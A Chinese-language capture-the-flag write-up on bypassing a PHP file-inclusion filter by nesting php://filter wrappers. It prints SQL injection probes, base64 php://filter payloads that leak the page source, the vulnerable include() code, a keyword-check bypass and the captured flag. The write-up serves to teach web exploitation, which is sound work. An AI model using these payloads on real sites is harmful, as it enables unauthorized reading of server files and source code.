考点:伪协议嵌套(伪协议的过滤器嵌套)
1.
打开页面,url上有get传参,category=
2.尝试注入,1' ,1' or '1=1' 都不行,没有数据库报错
3.尝试文件包含,利用php伪协议,尝试读取index.php,令category=php://filter/read=convert.base64-encode/resource=index.php
根据提示,可以看出确实是文件包含,利用了include函数,include函数在没有找到文件时会爆出警告,有可能是文件名字的问题,我们看到后面爆的是index.php.php,所以后台应该是又添加了一个php,
改payload=php://filter/read=convert.base64-encode/resource=index,
得到源文件,进行base64解码,得到代码
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
(strpos()查找字符串在另一字符串中第一次出现的位置)
4.可以看出传递的参数里必须有这三个中的一个,
可以利用伪协议的嵌套
伪协议的嵌套实际上就是过滤器的嵌套
所以可以构造payload=php://filter/index/resource=flag
需要读,加过滤器read:php://filter/index/read=convert.base64-encode/resource=flag
对得到的base64码,进行解码后得到flag
flag{1208b24e-b193-4f88-8596-9569fff50d75}